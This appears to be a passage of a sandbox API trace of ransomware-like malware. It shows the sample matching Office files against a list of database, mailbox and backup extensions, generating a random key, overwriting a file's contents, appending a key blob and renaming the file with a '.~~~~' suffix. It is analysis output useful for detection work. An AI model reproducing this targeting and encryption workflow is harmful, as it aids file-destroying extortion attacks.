	[0146.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".dbs") returned 0x0
	[0146.682] lstrlenW (lpString=".vhdx") returned 5
	[0146.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".vhdx") returned 0x0
	[0146.682] lstrlenW (lpString=".NDF") returned 4
	[0146.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".NDF") returned 0x0
	[0146.682] lstrlenW (lpString=".dat") returned 4
	[0146.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".dat") returned 0x0
	[0146.682] lstrlenW (lpString=".DBS") returned 4
	[0146.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".DBS") returned 0x0
	[0146.683] lstrlenW (lpString=".CKP") returned 4
	[0146.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".CKP") returned 0x0
	[0146.683] lstrlenW (lpString=".edb") returned 4
	[0146.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".edb") returned 0x0
	[0146.683] lstrlenW (lpString=".PST") returned 4
	[0146.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".PST") returned 0x0
	[0146.683] lstrlenW (lpString=".dbf") returned 4
	[0146.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".dbf") returned 0x0
	[0146.683] lstrlenW (lpString=".SQL") returned 4
	[0146.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".SQL") returned 0x0
	[0146.683] lstrlenW (lpString=".pst") returned 4
	[0146.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".pst") returned 0x0
	[0146.683] lstrlenW (lpString=".dbv") returned 4
	[0146.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".dbv") returned 0x0
	[0146.683] lstrlenW (lpString=".SDF") returned 4
	[0146.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".SDF") returned 0x0
	[0146.683] lstrlenW (lpString=".dtxs") returned 5
	[0146.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".dtxs") returned 0x0
	[0146.683] lstrlenW (lpString=".db3") returned 4
	[0146.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".db3") returned 0x0
	[0146.683] lstrlenW (lpString=".OST") returned 4
	[0146.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".OST") returned 0x0
	[0146.684] lstrlenW (lpString=".dbx") returned 4
	[0146.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".dbx") returned 0x0
	[0146.684] lstrlenW (lpString=".DB3") returned 4
	[0146.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".DB3") returned 0x0
	[0146.684] lstrlenW (lpString=".DAT") returned 4
	[0146.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".DAT") returned 0x0
	[0146.684] lstrlenW (lpString=".VHDX") returned 5
	[0146.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".VHDX") returned 0x0
	[0146.684] lstrlenW (lpString=".ndf") returned 4
	[0146.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".ndf") returned 0x0
	[0146.684] lstrlenW (lpString=".DB") returned 3
	[0146.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".DB") returned 0x0
	[0146.684] lstrlenW (lpString=".sql") returned 4
	[0146.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".sql") returned 0x0
	[0146.684] lstrlenW (lpString=".MYD") returned 4
	[0146.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".MYD") returned 0x0
	[0146.684] lstrlenW (lpString=".DBT") returned 4
	[0146.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".DBT") returned 0x0
	[0146.684] lstrlenW (lpString=".ACCDB") returned 6
	[0146.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".ACCDB") returned 0x0
	[0146.684] lstrlenW (lpString=".fdb") returned 4
	[0146.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".fdb") returned 0x0
	[0146.684] lstrlenW (lpString=".bak") returned 4
	[0146.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".bak") returned 0x0
	[0146.684] lstrlenW (lpString=".myd") returned 4
	[0146.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".myd") returned 0x0
	[0146.685] lstrlenW (lpString=".DTXS") returned 5
	[0146.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".DTXS") returned 0x0
	[0146.685] lstrlenW (lpString=".ckp") returned 4
	[0146.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".ckp") returned 0x0
	[0146.685] lstrlenW (lpString=".dbt") returned 4
	[0146.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".dbt") returned 0x0
	[0146.685] lstrlenW (lpString=".db") returned 3
	[0146.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".db") returned 0x0
	[0146.685] lstrlenW (lpString=".TXT") returned 4
	[0146.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".TXT") returned 0x0
	[0146.685] lstrlenW (lpString=".MDF") returned 4
	[0146.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".MDF") returned 0x0
	[0146.685] lstrlenW (lpString=".bdb") returned 4
	[0146.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".bdb") returned 0x0
	[0146.685] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0146.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0146.685] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3960d0) returned 1
	[0146.686] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0146.687] CryptReleaseContext (hProv=0x3960d0, dwFlags=0x0) returned 1
	[0146.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0146.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0146.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0146.687] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26667703094) returned 1
	[0146.687] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc0d67c10, dwHighDateTime=0x1d60e1e)) 
	[0146.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0146.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0146.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0146.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bee8
	[0146.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bee8 | out: hHeap=0x300000) returned 1
	[0146.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0600
	[0146.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28707c0
	[0146.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0600 | out: hHeap=0x300000) returned 1
	[0146.688] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0146.688] GetLastError () returned 0x0
	[0146.688] GetLastError () returned 0x0
	[0146.688] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0146.688] GetLastError () returned 0x0
	[0146.689] GetLastError () returned 0x0
	[0146.689] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x2c00, lpOverlapped=0x0) returned 1
	[0146.692] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd400, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.692] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x2c00, lpOverlapped=0x0) returned 1
	[0146.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.693] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.693] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.693] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.693] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.693] CloseHandle (hObject=0x138) returned 1
	[0146.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28707c0
	[0146.693] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlmacro.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlmacro.chm.~~~~")) returned 1
	[0146.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28707c0 | out: hHeap=0x300000) returned 1
	[0146.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0146.706] GetLastError () returned 0x0
	[0146.706] RtlWakeConditionVariable () returned 0x0
	[0146.706] GetCurrentThreadId () returned 0x3a4
	[0146.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".scr") returned 0x0
	[0146.706] lstrlenW (lpString=".cmd") returned 4
	[0146.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".cmd") returned 0x0
	[0146.706] lstrlenW (lpString=".dll") returned 4
	[0146.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".dll") returned 0x0
	[0146.706] lstrlenW (lpString=".bat") returned 4
	[0146.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".bat") returned 0x0
	[0146.706] lstrlenW (lpString=".cpl") returned 4
	[0146.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".cpl") returned 0x0
	[0146.706] lstrlenW (lpString=".sys") returned 4
	[0146.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".sys") returned 0x0
	[0146.706] lstrlenW (lpString=".msc") returned 4
	[0146.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".msc") returned 0x0
	[0146.707] lstrlenW (lpString=".com") returned 4
	[0146.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".com") returned 0x0
	[0146.707] lstrlenW (lpString=".lnk") returned 4
	[0146.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".lnk") returned 0x0
	[0146.707] lstrlenW (lpString=".msp") returned 4
	[0146.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".msp") returned 0x0
	[0146.707] lstrlenW (lpString=".pif") returned 4
	[0146.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".pif") returned 0x0
	[0146.707] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0146.710] lstrlenW (lpString=".sqb") returned 4
	[0146.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".sqb") returned 0x0
	[0146.710] lstrlenW (lpString=".ost") returned 4
	[0146.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".ost") returned 0x0
	[0146.710] lstrlenW (lpString=".txt") returned 4
	[0146.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".txt") returned 0x0
	[0146.710] lstrlenW (lpString=".mdt") returned 4
	[0146.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".mdt") returned 0x0
	[0146.710] lstrlenW (lpString=".BDB") returned 4
	[0146.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".BDB") returned 0x0
	[0146.710] lstrlenW (lpString=".eql") returned 4
	[0146.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".eql") returned 0x0
	[0146.710] lstrlenW (lpString=".DBF") returned 4
	[0146.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".DBF") returned 0x0
	[0146.710] lstrlenW (lpString=".EQL") returned 4
	[0146.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".EQL") returned 0x0
	[0146.710] lstrlenW (lpString=".FDB") returned 4
	[0146.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".FDB") returned 0x0
	[0146.710] lstrlenW (lpString=".EDB") returned 4
	[0146.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".EDB") returned 0x0
	[0146.710] lstrlenW (lpString=".DACPAC") returned 7
	[0146.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".DACPAC") returned 0x0
	[0146.710] lstrlenW (lpString=".VHD") returned 4
	[0146.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".VHD") returned 0x0
	[0146.711] lstrlenW (lpString=".DBV") returned 4
	[0146.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".DBV") returned 0x0
	[0146.711] lstrlenW (lpString=".dacpac") returned 7
	[0146.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".dacpac") returned 0x0
	[0146.711] lstrlenW (lpString=".sdf") returned 4
	[0146.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".sdf") returned 0x0
	[0146.711] lstrlenW (lpString=".accdb") returned 6
	[0146.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".accdb") returned 0x0
	[0146.711] lstrlenW (lpString=".DBX") returned 4
	[0146.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".DBX") returned 0x0
	[0146.711] lstrlenW (lpString=".MDT") returned 4
	[0146.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".MDT") returned 0x0
	[0146.711] lstrlenW (lpString=".SQB") returned 4
	[0146.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".SQB") returned 0x0
	[0146.711] lstrlenW (lpString=".vhd") returned 4
	[0146.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".vhd") returned 0x0
	[0146.711] lstrlenW (lpString=".bac") returned 4
	[0146.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".bac") returned 0x0
	[0146.711] lstrlenW (lpString=".mdf") returned 4
	[0146.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".mdf") returned 0x0
	[0146.712] lstrlenW (lpString=".BAK") returned 4
	[0146.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".BAK") returned 0x0
	[0146.712] lstrlenW (lpString=".BAC") returned 4
	[0146.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".BAC") returned 0x0
	[0146.712] lstrlenW (lpString=".dbs") returned 4
	[0146.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".dbs") returned 0x0
	[0146.712] lstrlenW (lpString=".vhdx") returned 5
	[0146.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".vhdx") returned 0x0
	[0146.712] lstrlenW (lpString=".NDF") returned 4
	[0146.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".NDF") returned 0x0
	[0146.712] lstrlenW (lpString=".dat") returned 4
	[0146.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".dat") returned 0x0
	[0146.712] lstrlenW (lpString=".DBS") returned 4
	[0146.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".DBS") returned 0x0
	[0146.712] lstrlenW (lpString=".CKP") returned 4
	[0146.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".CKP") returned 0x0
	[0146.712] lstrlenW (lpString=".edb") returned 4
	[0146.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".edb") returned 0x0
	[0146.712] lstrlenW (lpString=".PST") returned 4
	[0146.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".PST") returned 0x0
	[0146.712] lstrlenW (lpString=".dbf") returned 4
	[0146.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".dbf") returned 0x0
	[0146.712] lstrlenW (lpString=".SQL") returned 4
	[0146.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".SQL") returned 0x0
	[0146.712] lstrlenW (lpString=".pst") returned 4
	[0146.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".pst") returned 0x0
	[0146.713] lstrlenW (lpString=".dbv") returned 4
	[0146.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".dbv") returned 0x0
	[0146.713] lstrlenW (lpString=".SDF") returned 4
	[0146.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".SDF") returned 0x0
	[0146.713] lstrlenW (lpString=".dtxs") returned 5
	[0146.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".dtxs") returned 0x0
	[0146.713] lstrlenW (lpString=".db3") returned 4
	[0146.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".db3") returned 0x0
	[0146.713] lstrlenW (lpString=".OST") returned 4
	[0146.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".OST") returned 0x0
	[0146.713] lstrlenW (lpString=".dbx") returned 4
	[0146.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".dbx") returned 0x0
	[0146.713] lstrlenW (lpString=".DB3") returned 4
	[0146.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".DB3") returned 0x0
	[0146.713] lstrlenW (lpString=".DAT") returned 4
	[0146.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".DAT") returned 0x0
	[0146.713] lstrlenW (lpString=".VHDX") returned 5
	[0146.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".VHDX") returned 0x0
	[0146.713] lstrlenW (lpString=".ndf") returned 4
	[0146.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".ndf") returned 0x0
	[0146.713] lstrlenW (lpString=".DB") returned 3
	[0146.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".DB") returned 0x0
	[0146.713] lstrlenW (lpString=".sql") returned 4
	[0146.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".sql") returned 0x0
	[0146.713] lstrlenW (lpString=".MYD") returned 4
	[0146.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".MYD") returned 0x0
	[0146.714] lstrlenW (lpString=".DBT") returned 4
	[0146.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".DBT") returned 0x0
	[0146.714] lstrlenW (lpString=".ACCDB") returned 6
	[0146.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".ACCDB") returned 0x0
	[0146.714] lstrlenW (lpString=".fdb") returned 4
	[0146.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".fdb") returned 0x0
	[0146.714] lstrlenW (lpString=".bak") returned 4
	[0146.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".bak") returned 0x0
	[0146.714] lstrlenW (lpString=".myd") returned 4
	[0146.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".myd") returned 0x0
	[0146.714] lstrlenW (lpString=".DTXS") returned 5
	[0146.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".DTXS") returned 0x0
	[0146.714] lstrlenW (lpString=".ckp") returned 4
	[0146.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".ckp") returned 0x0
